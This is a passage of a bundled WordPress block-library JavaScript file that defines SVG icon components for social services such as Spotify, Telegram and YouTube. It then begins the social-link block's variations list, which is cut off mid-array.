49025const SnapchatIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z" }) });
49026
49027
49028;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/soundcloud.js
49029
49030
49031const SoundCloudIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M23.994 14.552a3.36 3.36 0 01-3.401 3.171h-8.176a.685.685 0 01-.679-.681V8.238a.749.749 0 01.452-.716S12.942 7 14.526 7a5.357 5.357 0 012.748.755 5.44 5.44 0 012.56 3.546c.282-.08.574-.12.868-.119a3.273 3.273 0 013.292 3.37zM10.718 8.795a.266.266 0 10-.528 0c-.224 2.96-.397 5.735 0 8.685a.265.265 0 00.528 0c.425-2.976.246-5.7 0-8.685zM9.066 9.82a.278.278 0 00-.553 0 33.183 33.183 0 000 7.663.278.278 0 00.55 0c.33-2.544.332-5.12.003-7.664zM7.406 9.56a.269.269 0 00-.535 0c-.253 2.7-.38 5.222 0 7.917a.266.266 0 10.531 0c.394-2.73.272-5.181.004-7.917zM5.754 10.331a.275.275 0 10-.55 0 28.035 28.035 0 000 7.155.272.272 0 00.54 0c.332-2.373.335-4.78.01-7.155zM4.087 12.12a.272.272 0 00-.544 0c-.393 1.843-.208 3.52.016 5.386a.26.26 0 00.512 0c.247-1.892.435-3.53.016-5.386zM2.433 11.838a.282.282 0 00-.56 0c-.349 1.882-.234 3.54.01 5.418.025.285.508.282.54 0 .269-1.907.394-3.517.01-5.418zM.762 12.76a.282.282 0 00-.56 0c-.32 1.264-.22 2.31.023 3.578a.262.262 0 00.521 0c.282-1.293.42-2.317.016-3.578z" }) });
49032
49033
49034;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/spotify.js
49035
49036
49037const SpotifyIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865" }) });
49038
49039
49040;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/telegram.js
49041
49042
49043const TelegramIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 128 128", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z" }) });
49044
49045
49046;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/threads.js
49047
49048
49049const ThreadsIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z" }) });
49050
49051
49052;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/tiktok.js
49053
49054
49055const TiktokIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.4044 3.01519C13.4086 3 14.4072 3.009 15.4045 3C15.465 4.14812 15.8874 5.31762 16.7472 6.12935C17.6053 6.96134 18.819 7.34217 20 7.47099V10.4912C18.8933 10.4558 17.7814 10.2308 16.7771 9.76499C16.3397 9.57148 15.9323 9.32227 15.5334 9.06745C15.5283 11.2591 15.5426 13.4479 15.5191 15.6305C15.4592 16.679 15.1053 17.7225 14.4814 18.5866C13.4777 20.025 11.7356 20.9627 9.94635 20.992C8.84885 21.0533 7.7525 20.7608 6.81729 20.2219C5.26743 19.3286 4.17683 17.6933 4.01799 15.9382C3.99957 15.563 3.99324 15.1883 4.00878 14.8221C4.14691 13.395 4.86917 12.0297 5.99027 11.101C7.26101 10.0192 9.04107 9.50397 10.7078 9.80886C10.7233 10.9199 10.6778 12.0297 10.6778 13.1407C9.91643 12.9 9.02668 12.9675 8.36139 13.4192C7.87566 13.7269 7.50675 14.1983 7.31453 14.7316C7.15569 15.1118 7.20116 15.5343 7.21036 15.9382C7.3928 17.169 8.60368 18.2035 9.89628 18.0916C10.7532 18.0826 11.5745 17.5965 12.0211 16.8849C12.1655 16.6357 12.3273 16.3809 12.3359 16.0878C12.4113 14.7462 12.3814 13.4102 12.3906 12.0685C12.3969 9.04495 12.3814 6.02979 12.4049 3.01575L12.4044 3.01519Z" }) });
49056
49057
49058;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/tumblr.js
49059
49060
49061const TumblrIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z" }) });
49062
49063
49064;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/twitch.js
49065
49066
49067const TwitchIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z" }) });
49068
49069
49070;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/twitter.js
49071
49072
49073const TwitterIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z" }) });
49074
49075
49076;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/vimeo.js
49077
49078
49079const VimeoIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z" }) });
49080
49081
49082;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/vk.js
49083
49084
49085const VkIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z" }) });
49086
49087
49088;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/whatsapp.js
49089
49090
49091const WhatsAppIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z" }) });
49092
49093
49094;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/x.js
49095
49096
49097const XIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" }) });
49098
49099
49100;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/yelp.js
49101
49102
49103const YelpIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z" }) });
49104
49105
49106;// ./node_modules/@wordpress/block-library/build-module/social-link/icons/youtube.js
49107
49108
49109const YouTubeIcon = () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { width: "24", height: "24", viewBox: "0 0 24 24", version: "1.1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z" }) });
49110
49111
49112;// ./node_modules/@wordpress/block-library/build-module/social-link/variations.js
49113
49114
49115const social_link_variations_variations = [
49116 {
49117 isDefault: true,
49118 name: "wordpress",
49119 attributes: { service: "wordpress" },
49120 title: (0,external_wp_i18n_namespaceObject._x)("WordPress", "social link block variation name"),
49121 icon: WordPressIcon
49122 },
49123 {
49124 name: "fivehundredpx",
49125 attributes: { service: "fivehundredpx" },
49126 title: (0,external_wp_i18n_namespaceObject._x)("500px", "social link block variation name"),
49127 icon: FivehundredpxIcon
49128 },
49129 {
49130 name: "amazon",
49131 attributes: { service: "amazon" },
49132 title: (0,external_wp_i18n_namespaceObject._x)("Amazon", "social link block variation name"),
49133 icon: AmazonIcon
49134 },
49135 {
49136 name: "bandcamp",
49137 attributes: { service: "bandcamp" },
49138 title: (0,external_wp_i18n_namespaceObject._x)("Bandcamp", "social link block variation name"),
49139 icon: BandcampIcon
49140 },
49141 {
49142 name: "behance",
49143 attributes: { service: "behance" },
49144 title: (0,external_wp_i18n_namespaceObject._x)("Behance", "social link block variation name"),
49145 icon: BehanceIcon
49146 },
49147 {
49148 name: "bluesky",
49149 attributes: { service: "bluesky" },
49150 title: (0,external_wp_i18n_namespaceObject._x)("Bluesky", "social link block variation name"),
49151 icon: BlueskyIcon
49152 },
49153 {
49154 name: "chain",
49155 attributes: { service: "chain" },
49156 title: (0,external_wp_i18n_namespaceObject._x)("Link", "social link block variation name"),
49157 icon: ChainIcon
49158 },
49159 {
49160 name: "codepen",
49161 attributes: { service: "codepen" },
49162 title: (0,external_wp_i18n_namespaceObject._x)("CodePen", "social link block variation name"),
49163 icon: CodepenIcon
49164 },
49165 {
49166 name: "deviantart",
49167 attributes: { service: "deviantart" },
49168 title: (0,external_wp_i18n_namespaceObject._x)("DeviantArt", "social link block variation name"),
49169 icon: DeviantArtIcon
49170 },
49171 {
49172 name: "discord",
49173 attributes: { service: "discord" },
49174 title: (0,external_wp_i18n_namespaceObject._x)("Discord", "social link block variation name"),
49175 icon: DiscordIcon
49176 },
49177 {
49178 name: "dribbble",
49179 attributes: { service: "dribbble" },
49180 title: (0,external_wp_i18n_namespaceObject._x)("Dribbble", "social link block variation name"),
49181 icon: DribbbleIcon
49182 },
49183 {
49184 name: "dropbox",
49185 attributes: { service: "dropbox" },
49186 title: (0,external_wp_i18n_namespaceObject._x)("Dropbox", "social link block variation name"),
49187 icon: DropboxIcon
49188 },
49189 {
49190 name: "etsy",
49191 attributes: { service: "etsy" },
49192 title: (0,external_wp_i18n_namespaceObject._x)("Etsy", "social link block variation name"),
49193 icon: EtsyIcon
49194 },
49195 {
49196 name: "facebook",
49197 attributes: { service: "facebook" },
49198 title: (0,external_wp_i18n_namespaceObject._x)("Facebook", "social link block variation name"),
49199 icon: FacebookIcon
49200 },
49201 {
49202 name: "feed",
49203 attributes: { service: "feed" },
49204 title: (0,external_wp_i18n_namespaceObject._x)("RSS Feed", "social link block variation name"),
49205 icon: FeedIcon
49206 },
49207 {
49208 name: "flickr",
49209 attributes: { service: "flickr" },
